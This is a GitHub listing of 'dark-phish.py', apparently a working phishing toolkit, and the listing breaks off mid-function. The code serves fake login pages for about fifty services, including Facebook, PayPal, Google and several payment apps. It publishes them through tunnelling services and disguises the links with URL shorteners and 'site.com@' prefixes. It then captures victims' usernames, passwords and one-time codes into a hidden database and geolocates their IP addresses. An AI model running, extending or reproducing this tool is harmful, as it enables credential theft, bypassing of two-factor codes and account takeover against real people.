-
Notifications
You must be signed in to change notification settings - Fork 47
/
dark-phish.py
2672 lines (2266 loc) · 59.8 KB
/
dark-phish.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python3
"""
Tool Name: Dark-Phish
Author: Sajjad
GitHub: https://github.com/Cyber-Anonymous
"""
import sys
try:
import os
import time
from bs4 import BeautifulSoup
import requests
import platform, subprocess
import wget
import shutil
import requests
import pyshorteners
import sqlite3
import argparse
import shutil
from tkinter import *
from tkinter import messagebox
except ModuleNotFoundError as error:
print(error)
sys.exit()
version = "2.3.0"
host = "127.0.0.1"
port = "8080"
try:
parser = argparse.ArgumentParser(add_help=False)
parser.add_argument("-H", "--host", type=str)
parser.add_argument("-p", "--port", type=str)
if ("-h" in sys.argv or "--help" in sys.argv):
print("""\033[1m
Name:
Dark-Phish
Usage:
python3 dark-phish.py [-h] [-H HOST] [-p PORT] [-u] [-v] [-r]
Version:
{}
Options:
-h, --help Show this help massage.
-H HOST, --host HOST Specify the host address [Default : 127.0.0.1] .
-p PORT, --port PORT Web server port [Default : 8080] .
-u, --update Check for updates.
-v, --version Show version number and exit.
-r, --retrieve Retrieve saved credentials.
\033[0;0m""".format(version))
sys.exit()
else:
pass
args = parser.parse_args()
if ("-u" in sys.argv or "--update" in sys.argv):
check_update()
sys.exit()
elif ("-v" in sys.argv or "--version" in sys.argv):
print("\nDark-Phish version {}\n".format(version))
sys.exit()
elif ("-r" in sys.argv or "--retrieve" in sys.argv):
database_management()
sys.exit()
else:
pass
if args.host:
try:
host = args.host
except Exception as error:
print(error)
else:
pass
if args.port:
try:
port = args.port
except Exception as error:
print(error)
else:
pass
except Exception as error:
print(error)
sys.exit()
def printf(message, level):
timestamp = time.strftime("%H:%M:%S", time.localtime())
levels = {
"INFO": "\033[1;92m[INFO]\033[0;0m",
"WARNING": "\033[1;93m[WARNING]\033[0;0m",
"ERROR": "\033[1;91m[ERROR]\033[0;0m"
}
print("\033[1;94m[{}]{}\033[0;0m {}".format(timestamp, levels.get(level), message))
def logo():
print("")
os.system("clear")
print("""\033[1;91m
██████╗ █████╗ ██████╗ ██╗ ██╗ ██████╗ ██╗ ██╗██╗███████╗██╗ ██╗
██╔══██╗██╔══██╗██╔══██╗██║ ██╔╝ ██╔══██╗██║ ██║██║██╔════╝██║ ██║
██║ ██║███████║██████╔╝█████╔╝█████╗██████╔╝███████║██║███████╗███████║
██║ ██║██╔══██║██╔══██╗██╔═██╗╚════╝██╔═══╝ ██╔══██║██║╚════██║██╔══██║
██████╔╝██║ ██║██║ ██║██║ ██╗ ██║ ██║ ██║██║███████║██║ ██║
╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝╚══════╝╚═╝ ╚═╝ \033[0;0mv{}
\033[1;0m Coded by Sajjad | Cyber-Anonymous |
\033[0;0m""".format(version))
def disclaimer():
print(" \033[1;100;97m[::] Disclaimer: Developers are not responsible for any [::]\033[0;0;0m\n \033[1;100;97m[::] misuse or damage caused by Dark-Phish. [::]\033[0;0;0m")
def check_update():
try:
version_url = "https://raw.githubusercontent.com/Cyber-Anonymous/Dark-Phish/main/version.txt"
r = requests.get(version_url)
status = r.status_code
if (status == 200):
gh_version = float(r.text)
if (gh_version > version):
print("\n\033[1;92mA new update (Version {}) is available for Dark-Phish.\033[0;0m\n".format(gh_version))
else:
print("\nAlready up to date.\n")
else:
print("\033[1;91mUnable to check updates! Please check your internet connection or try again later.\033[0;0m\n")
except:
print("\033[1;91mUnable to check updates! Please check your internet connection or try again later.\033[0;0m\n")
def user_pass(data):
username = ""
password = ""
try:
lines = data.split('\n')
for line in lines:
data = line.split(": ")
if len(data) == 2:
key = data[0]
value = data[1]
if key == "Username":
username = value
elif key == "Password":
password = value
except Exception as error:
print(error)
return username, password
def save_data(site, username, password, otp):
os.chdir("..")
os.chdir("..")
try:
conn = sqlite3.connect(".credentials.db")
conn.execute("""
CREATE TABLE IF NOT EXISTS data (
id INTEGER PRIMARY KEY,
site TEXT,
username TEXT,
password TEXT,
otp TEXT
)
""")
conn.execute("INSERT INTO data (site, username, password, otp) VALUES (?, ?, ?, ?)", (site, username, password, otp))
conn.commit()
print("\nCredentials saved to database.\n")
except sqlite3.Error as error:
print("Database error:", error)
finally:
conn.close()
def retrieve_data():
conn = None
try:
if (os.path.exists("core/.credentials.db")):
conn = sqlite3.connect("core/.credentials.db")
data = conn.execute("SELECT * FROM data")
print("")
for line in data:
print("ID:",line[0])
print("Site:", line[1])
print(line[2])
print(line[3])
print(line[4])
print("")
else:
print("\n\033[1;91mError: Database file not found!\033[0;0m\n")
except sqlite3.Error as error:
print("Database error:", error)
sys.exit()
finally:
if conn is not None:
conn.close()
else:
pass
def delete_data():
try:
if (os.path.exists("core/.credentials.db")):
os.remove("core/.credentials.db")
print("\nDatabase file deleted successfully.\n")
else:
print("\n\033[1;91mError: Database file not found!\033[0;0m\n")
except Exception as error:
print(error)
sys.exit()
def database_management():
logo()
disclaimer()
print("")
print("")
print("""
Credentials Management Menu:
[\033[1;92m01\033[0;0m] Retrieve Credentials
[\033[1;92m02\033[0;0m] Delete Credentials
[\033[1;92m00\033[0;0m] Exit
""")
while True:
try:
option = input("\nOPTION: ")
option = int(option)
break
except:
print("\n\033[1;91m[!] Invalid option!\033[0;0m\n")
if (option == 1):
try:
retrieve_data()
except Exception as e:
print(e)
elif (option == 2):
try:
delete_data()
except:
pass
elif (option == 0):
sys.exit()
else:
print("\n\033[1;91m[!] Invalid option!\033[0;0m\n")
ostype = subprocess.check_output(["uname","-o"]).strip()
ostype = ostype.decode()
system = platform.system()
arch = platform.architecture()
machine = platform.machine()
def localhost_server():
pass
def download_ngrok():
exist = os.path.exists("core/ngrok")
if (exist==False):
arm = "arm" in machine
if (ostype == "Android" or arm == True):
file="ngrok-v3-stable-linux-arm.tgz"
elif(system == "Linux" and arch[0] == "64bit"):
file="ngrok-v3-stable-linux-amd64.tgz"
elif (machine == "aarch64"):
file = "ngrok-v3-stable-linux-amd64.tgz"
elif(system == "Linux" and arch[0] == "32bit"):
file="ngrok-v3-stable-linux-386.tgz"
else:
print("\n\033[1;91m[-] Permission denial!\033[0;0m")
sys.exit()
try:
url="https://bin.equinox.io/c/bNyj1mQVY4c/"+file
print("\n\033[1;92mDownloading ngrok...\033[0;0m")
wget.download(url)
os.system("tar zxvf "+file)
os.system("chmod +x ngrok")
authtoken = input("Ngrok authtoken: ")
prefix = "ngrok config add-authtoken "
if authtoken.startswith(prefix):
authtoken = authtoken[len(prefix):].strip()
else:
pass
os.system("./ngrok config add-authtoken {} > /dev/null 2>&1".format(authtoken))
os.system("mv ngrok core")
os.system("rm -rf "+file)
except Exception as error:
print(error)
sys.exit()
else:
pass
def cloudflare_tunnel():
exist = os.path.exists("core/cloudflared")
if (exist == False):
if ostype == "Android" and arch[0] == "64bit":
url = "https://github.com/cloudflare/cloudflared/releases/download/2023.8.2/cloudflared-linux-arm64"
elif (ostype == "Android" and arch[0]) == "32bit":
url = "https://github.com/cloudflare/cloudflared/releases/download/2023.8.2/cloudflared-linux-arm"
elif (machine == "aarch64"):
url = "https://github.com/cloudflare/cloudflared/releases/download/2023.8.2/cloudflared-linux-arm64"
elif (machine == "x86_64"):
url = "https://github.com/cloudflare/cloudflared/releases/download/2023.8.2/cloudflared-linux-amd64"
else:
url = "https://github.com/cloudflare/cloudflared/releases/download/2023.8.2/cloudflared-linux-386"
print("\n\033[1;92mDownloading Cloudflared...\033[0;0m")
try:
filename = wget.download(url)
os.rename(filename, "cloudflared")
os.system("mv cloudflared core")
os.system("chmod +x core/cloudflared")
except Exception as error:
print(error)
sys.exit()
else:
pass
def localxpose_tunnel():
exist = os.path.exists("core/loclx")
if (exist == False):
arm = "arm" in machine
if (ostype == "Android" and arm == True ):
url = "https://api.localxpose.io/api/v2/downloads/loclx-linux-arm.zip"
elif (machine == "aarch64"):
url = "https://api.localxpose.io/api/v2/downloads/loclx-linux-arm64.zip"
elif(machine == "x86_64"):
url = "https://api.localxpose.io/api/v2/downloads/loclx-linux-amd64.zip"
else:
url = "https://api.localxpose.io/api/v2/downloads/loclx-linux-386.zip"
print("\n\033[1;92mDownloading LocalXpose...\033[0;0m")
try:
filename = os.path.basename(url)
os.system("wget {} > cache.tmp 2>&1".format(url))
os.system("rm -rf cache.tmp")
os.system("unzip " + filename)
os.system("rm -rf " + filename)
os.system("chmod +x loclx")
os.system("./loclx account login")
os.system("mv loclx core")
except Exception as error:
print(error)
sys.exit()
else:
pass
def serveo_ssh_tunnel():
pass
def local_tunnel():
def is_localtunnel_installed():
try:
exist = subprocess.run(["lt", "--version"], stdout=subprocess.PIPE, stderr=subprocess.PIPE, check=True, text=True)
if (exist.returncode == 0):
return True
else:
return False
except FileNotFoundError:
return False
if (is_localtunnel_installed() == False):
try:
print("\033[1;92mInstalling localtunnel...")
os.system("npm install -g localtunnel")
except Exception as error:
print(error)
else:
pass
logo()
disclaimer()
print("")
print("")
print("""
[\033[1;92m01\033[0;0m] Facebook [\033[1;92m13\033[0;0m] Samsung ID [\033[1;92m25\033[0;0m] Adobe [\033[1;92m37\033[0;0m] Spotify [\033[1;92m49\033[0;0m] Flipkart
[\033[1;92m02\033[0;0m] Twitter [\033[1;92m14\033[0;0m] WordPress [\033[1;92m26\033[0;0m] Amazon [\033[1;92m38\033[0;0m] TikTok [\033[1;92m50\033[0;0m] PhonePe
[\033[1;92m03\033[0;0m] Instagram [\033[1;92m15\033[0;0m] GitLab [\033[1;92m27\033[0;0m] Ebay [\033[1;92m39\033[0;0m] Discord [\033[1;92mclone\033[0;0m] Clone
[\033[1;92m04\033[0;0m] Snapchat [\033[1;92m16\033[0;0m] ProtonMail [\033[1;92m28\033[0;0m] Netflix [\033[1;92m40\033[0;0m] Daraz [\033[1;92mcreate\033[0;0m] Create
[\033[1;92m05\033[0;0m] GitHub [\033[1;92m17\033[0;0m] Linkedin [\033[1;92m29\033[0;0m] Messenger [\033[1;92m41\033[0;0m] WhatsApp [\033[1;92mcustom\033[0;0m] Custom
[\033[1;92m06\033[0;0m] Google [\033[1;92m18\033[0;0m] Steam [\033[1;92m30\033[0;0m] Twitter-X [\033[1;92m42\033[0;0m] Telegram [\033[1;92m00\033[0;0m] Exit
[\033[1;92m07\033[0;0m] Yahoo [\033[1;92m19\033[0;0m] Twitch [\033[1;92m31\033[0;0m] Galaxy Store [\033[1;92m43\033[0;0m] Signal
[\033[1;92m08\033[0;0m] PlayStation [\033[1;92m20\033[0;0m] VK [\033[1;92m32\033[0;0m] Google Drive [\033[1;92m44\033[0;0m] Imo
[\033[1;92m09\033[0;0m] PayPal [\033[1;92m21\033[0;0m] Pinterest [\033[1;92m33\033[0;0m] Google Photos [\033[1;92m45\033[0;0m] bKash
[\033[1;92m10\033[0;0m] Microsoft [\033[1;92m22\033[0;0m] Wi-Fi [\033[1;92m34\033[0;0m] OneDrive [\033[1;92m46\033[0;0m] Nagad
[\033[1;92m11\033[0;0m] Dropbox [\033[1;92m23\033[0;0m] Badoo [\033[1;92m35\033[0;0m] Playstore [\033[1;92m47\033[0;0m] DBBL(Rocket)
[\033[1;92m12\033[0;0m] Apple ID [\033[1;92m24\033[0;0m] Bitcoin [\033[1;92m36\033[0;0m] Snaptube [\033[1;92m48\033[0;0m] Paytm
""")
while True:
try:
option=input("\nOPTION: ").lower()
if option == "custom" or option == "clone" or option == "create":
break
else:
pass
option=int(option)
break
except:
print("\n\033[1;91m[!] Invalid option!\033[0;0m\n")
if (option == 0):
sys.exit()
else:
pass
print("""\n
[\033[1;92m01\033[0;0m] Localhost
[\033[1;92m02\033[0;0m] Ngrok
[\033[1;92m03\033[0;0m] Cloudflared
[\033[1;92m04\033[0;0m] LocalXpose
[\033[1;92m05\033[0;0m] Serveo
[\033[1;92m06\033[0;0m] Localtunnel
""")
Tunnels = 6
while True:
try:
tunnel = input("\nOPTION: ")
tunnel = int(tunnel)
if (tunnel > Tunnels):
print("\033[1;91m[!] Invalid option!\033[0;0m\n")
else:
break
except:
print("\033[1;91m[!] Invalid option!\033[0;0m\n")
def start_php_server():
os.system("""
php -S {}:{} > /dev/null 2>&1 &
sleep 4
""".format(host, port))
def start_ngrok_server():
os.system("""
./ngrok http {} > /dev/null 2>&1 &
sleep 10
""".format(port))
def is_gd(main_url):
api = "https://is.gd/create.php?format=simple&url="
url = api + main_url
try:
r = requests.get(url)
if (r.status_code == 200):
short = r.text.strip()
else:
short = None
r.close()
return short
except:
return None
def tiny_url(main_url):
api = "https://tinyurl.com/api-create.php?url="
url = api + main_url
try:
r = requests.get(url)
if(r.status_code == 200):
short = r.text.strip()
elif(r.status_code != 200):
shortener = pyshorteners.Shortener()
short = shortener.tinyurl.short(main_url)
else:
short = None
r.close()
return short
except:
pass
return None
def da_gd(main_url):
api = "https://da.gd/s"
data = {"url" : main_url}
try:
r = requests.post(api, data = data)
if (r.status_code == 200):
short = r.text.strip()
else:
short = None
r.close()
return short
except:
return None
def modify_url(keyword, url):
shorted1 = is_gd(url)
shorted2 = tiny_url(url)
shorted3 = da_gd(url)
modified_urls = []
try:
if("https" in url):
url = url.replace("https://","",1)
else:
url = url.replace("http://","",1)
modified_url1 = keyword + url
modified_urls.append(modified_url1)
except:
pass
if shorted1:
try:
if("https" in shorted1):
shorted1= shorted1.replace("https://","",1)
else:
shorted1 = shorted1.replace("http://","",1)
modified_url2 = keyword + shorted1
modified_urls.append(modified_url2)
except:
pass
if shorted2:
try:
if("https" in shorted2):
shorted2 = shorted2.replace("https://","",1)
else:
shorted2 = shorted2.replace("http://","",1)
modified_url3 = keyword + shorted2
modified_urls.append(modified_url3)
except:
pass
if shorted3:
try:
if("https" in shorted3):
shorted3 = shorted3.replace("https://","",1)
else:
shorted3 = shorted3.replace("http://","",1)
modified_url4 = keyword + shorted3
modified_urls.append(modified_url4)
except:
pass
return modified_urls
keywords = {
"Facebook" : "https://www.facebook.com@",
"Twitter" : "https://twitter.com@",
"Instagram" : "https://www.instagram.com@",
"Snapchat" :"https://www.snapchat.com@",
"GitHub" : "https://github.com@",
"Google" : "https://www.google.com@",
"Yahoo" : "https://login.yahoo.com@",
"PlayStation" : "https://www.playstation.com@",
"PayPal" : "https://www.paypal.com@",
"Microsoft" : "https://account.microsoft.com@",
"Dropbox" : "https://www.dropbox.com@",
"Apple ID" : "https://www.appleid.com@",
"Samsung ID" : "https://www.samsung.com@",
"WordPress" : "https://www.wordpress.com@",
"GitLab" : "https://gitlab.com@",
"ProtonMail" : "https://proton.me@",
"Linkedin" : "https://www.linkedin.com@",
"Steam" : "https://store.steampowered.com@",
"Twitch" : "https://www.twitch.tv@",
"VK" : "https://www.vk.com@",
"Pinterest" : "https://www.pinterest.com@",
"Wi-Fi" : "https://router-login@",
"Badoo" : "https://www.badoo.com",
"Bitcoin" : "https://bitcoin.org@",
"Adobe" : "https://www.adobe.com@",
"Amazon" : "https://www.amazon.com@",
"Ebay" : "https://www.ebay.com@",
"Netflix" : "https://www.netflix.com@",
"Messenger" : "https://www.messenger.com@",
"Custom" : "https://login@",
"X" : "https://twitter.com@",
"Galaxy_Store" : "https://www.samsung.com@",
"Google_Drive" : "https://drive.google.com@",
"Google_Photos" : "https://photos.google.com@",
"OneDrive" : "https://onedrive.microsoft.com@",
"PlayStore" : "https://play.google.com@",
"Snaptube" : "https://www.snaptube.com@",
"Spotify" : "https://open.spotify.com@",
"TikTok" : "https://www.tiktok.com@",
"Discord" : "https://www.discord.com@",
"Daraz" : "https://www.daraz.com@",
"Whatsapp" : "https://account.whatsapp.com@",
"Telegram" : "https://web.telegram.org@",
"Signal" : "https://www.signal.com@",
"Imo" : "https://imo.com@",
"Bkash" : "https://www.bkash.com.bd@",
"Nagad" : "https://www.nagad.com.bd@",
"Rocket" : "https://www.dutchbanglabank.com@",
"Paytm" : "https://paytm.com@",
"Flipkart" : "https://www.flipkart.com@",
"PhonePe" : "https://www.phonepe.com@",
}
def server(action):
if args.host or args.port:
print("\n\033[1;92mHOST:\033[0;0m {}".format(host))
print("\033[1;92mPORT:\033[0;0m {}".format(port))
def php_server():
print("\n\033[1;92mStarting PHP server...\033[0;0m")
start_php_server()
os.chdir("../")
os.chdir("../")
if (tunnel == 1):
print("\n\033[1;92mStarting PHP server...\033[0;0m")
os.system("""
php -S {}:{} > tunnel.txt 2>&1 & sleep 5
""".format(host, port))
os.system("""
grep -o "http://[-0-9A-Za-z.:]*" "tunnel.txt" -oh > link.txt
""")
elif (tunnel == 2):
php_server()
print("\033[1;92mStarting NGROK server...\033[0;0m")
start_ngrok_server()
os.chdir("sites/{}".format(action))
os.system("""
curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "https://[-0-9A-Za-z]*\.ngrok-free.app" -oh > link.txt
""")
elif (tunnel == 3):
php_server()
print("\033[1;92mStarting Cloudflared tunnel...\033[0;0m")
os.system("""./cloudflared --url {}:{} > tunnel.txt 2>&1 &
sleep 12""".format(host, port))
shutil.move("tunnel.txt", "sites/{}".format(action))
os.chdir("sites/{}".format(action))
os.system("""grep -o "https://[-0-9A-Za-z]*\.trycloudflare.com" "tunnel.txt" -oh > link.txt""")
elif (tunnel == 4):
php_server()
print("\033[1;92mStarting LocalXpose tunnel...\033[0;0m")
while True:
os.system("""
./loclx tunnel http --to {}:{} > tunnel.txt 2>&1 &
sleep 10
""".format(host, port))
try:
temp_file = open("tunnel.txt", 'r')
temp_data = temp_file.read()
temp_file.close()
if ("unauthenticated access" in temp_data):
os.system("rm -rf tunnel.txt")
os.system("./loclx account status")
os.system("./loclx account login")
else:
break
except Exception as error:
print(error)
sys.exit()
shutil.move("tunnel.txt","sites/{}".format(action))
os.chdir("sites/{}".format(action))
os.system("""
grep -o "[-0-9A-Za-z]*\.loclx.io" "tunnel.txt" -oh > link.txt""")
temp = open("link.txt","r")
link = temp.read()
temp.close()
file = open("link.txt","w")
file.write("https://"+link)
file.close()
elif(tunnel == 5):
php_server()
print("\033[1;92mStarting Serveo tunnel...\033[0;0m")
os.system("""ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -R 80:{}:{} serveo.net > tunnel.txt 2>&1 & sleep 10""".format(host, port))
shutil.move("tunnel.txt","sites/{}".format(action))
os.chdir("sites/{}".format(action))
os.system("""
grep -o "https://[-0-9a-z]*\.serveo.net" "tunnel.txt" -oh > link.txt
""")
elif(tunnel == 6):
php_server()
print("\033[1;92mStarting Localtunnel...\033[0;0m")
os.system("""lt --port {} > tunnel.txt 2>&1 & sleep 10""".format(port))
shutil.move("tunnel.txt", "sites/{}".format(action))
os.chdir("sites/{}".format(action))
os.system("""
grep -o "https://[-0-9a-z]*\.loca.lt" "tunnel.txt" -oh > link.txt
""")
else:
print("\033[1;91m[!] Invalid option!\033[0;0m\n")
file = open("link.txt","r")
link=file.read()
file.close()
if (len(link) > 0):
try:
condition = input("\nModify the URL (Y/N): ").lower()
print("")
except:
pass
else:
condition = None
print("\033[1;92mSend link:\033[0;0m",link)
if (condition == "y" or condition == "yes"):
keyword = keywords[action]
modified = modify_url(keyword, link)
for modified_url in modified:
print("\033[1;92mSend link:\033[0;0m", modified_url)
else:
pass
os.remove("link.txt")
try:
os.remove("tunnel.txt")
except:
pass
return None
def stop():
if (tunnel == 1):
os.system("killall php > /dev/null 2>&1")
os.system("pkill php > /dev/null 2>&1")
elif (tunnel == 2):
os.system("killall ngrok > /dev/null 2>&1")
os.system("killall php > /dev/null 2>&1")
os.system("pkill ngrok > /dev/null 2>&1")
os.system("pkill php > /dev/null 2>&1")
elif (tunnel == 3):
os.system("killall cloudflared > /dev/null 2>&1")
os.system("killall php > /dev/null 2>&1")
os.system("pkill cloudflared > /dev/null 2>&1")
os.system("pkill php > /dev/null 2>&1")
elif (tunnel == 4):
os.system("killall loclx > /dev/null 2>&1")
os.system("killall php > /dev/null 2>&1")
os.system("pkill loclx > /dev/null 2>&1")
os.system("pkill php > /dev/null 2>&1")
elif (tunnel == 5):
os.system("killall ssh > /dev/null 2>&1")
os.system("killall php > /dev/null 2>&1")
os.system("pkill ssh > /dev/null 2>&1")
os.system("pkill php > /dev/null 2>&1")
elif (tunnel == 6):
os.system("killall localtunnel > /dev/null 2>&1")
os.system("killall php > /dev/null 2>&1")
os.system("pkill localtunnel > /dev/null 2>&1")
os.system("pkill php > /dev/null 2>&1")
else:
sys.exit()
return None
def work():
try:
print("")
while not (os.path.exists("log.txt")):
print("\r\033[1;92mWaiting for the credentials \033[0;0m",end="")
time.sleep(1)
print("\r\033[1;92mWaiting for the credentials. \033[0;0m",end="")
time.sleep(1)
print("\r\033[1;92mWaiting for the credentials.. \033[0;0m",end="")
time.sleep(1)
print("\r\033[1;92mWaiting for the credentials...\033[0;0m",end="")
time.sleep(1)
if (os.path.exists("log.txt") == True):
print("\r\033[1;92mCredentials found. \033[0;0m")
except:
stop()
sys.exit()
try:
log_file=open("log.txt","r")
log=log_file.read()
log_file.close()
except:
pass
return log
def work_otp():
otp_code = ""
try:
print("")
while not (os.path.exists("log.txt")):
log = work()
print("")
username, password = extract_data(log)
while not (os.path.exists("otp.txt")):
print("\r\033[1;92mWaiting for the otp \033[0;0m",end="")
time.sleep(1)
print("\r\033[1;92mWaiting for the otp. \033[0;0m",end="")
time.sleep(1)
print("\r\033[1;92mWaiting for the otp.. \033[0;0m",end="")
time.sleep(1)
print("\r\033[1;92mWaiting for the otp...\033[0;0m",end="")
time.sleep(1)
if (os.path.exists("otp.txt") == True):
print("\r ",end="\r")
try:
otp_file = open("otp.txt","r")
otp = otp_file.read()
otp_file.close()
print(otp)
otp_code = otp.split(": ")[1]
except:
pass
except:
stop()
sys.exit()
return username, password, otp_code
def display_credentials():
try:
print("")
while not (os.path.exists("log.txt")):
print("\r\033[1;92mWaiting for the credentials \033[0;0m",end="")
time.sleep(1)
print("\r\033[1;92mWaiting for the credentials. \033[0;0m",end="")
time.sleep(1)
print("\r\033[1;92mWaiting for the credentials.. \033[0;0m",end="")
time.sleep(1)
print("\r\033[1;92mWaiting for the credentials...\033[0;0m",end="")
time.sleep(1)
if (os.path.exists("log.txt") == True):
print("\r\033[1;92m[{}] Credentials found. \033[0;0m".format(time.strftime("%H:%M:%S", time.localtime())))
print("")
except:
stop()
sys.exit()
try:
with open("log.txt", "r") as log_file:
while True:
data = log_file.readline().strip()
if data:
printf(data, level="INFO")
else:
time.sleep(1)
except:
pass
def ip_data():
try:
ipfile=open("ip.txt","r")
line=ipfile.readline()
ipfile.close()
os.remove("ip.txt")
ip=line.replace("IP: ","",1)
ip=str(ip.strip())
url="http://ip-api.com/json/{}".format(ip)
data=requests.get(url).json()
status=data["status"].lower()
if (status=="success"):
colour = "\033[1;32m"
else:
colour = "\033[1;31m"
print("\n{}IP STATUS {}\033[0;0m".format(colour,status.upper()))
except:
pass
try:
if (status=="success"):
action=input("\nSee more credentials (Y/N): ").lower()
print("")
if(action=="y"):
print("\033[1;92mIP:\033[0;0m",data["query"])
print("\033[1;92mCountry:\033[0;0m",data["country"])
print("\033[1;92mCountry code:\033[0;0m",data["countryCode"])
print("\033[1;92mCity:\033[0;0m",data["city"])
print("\033[1;92mRegion:\033[0;0m",data["region"])
print("\033[1;92mRegion name:\033[0;0m",data["regionName"])
print("\033[1;92mZip:\033[0;0m",data["zip"])
print("\033[1;92mLocation:\033[0;0m {},{}".format(data["lat"], data["lon"]))
print("\033[1;92mTime zone:\033[0;0m",data["timezone"])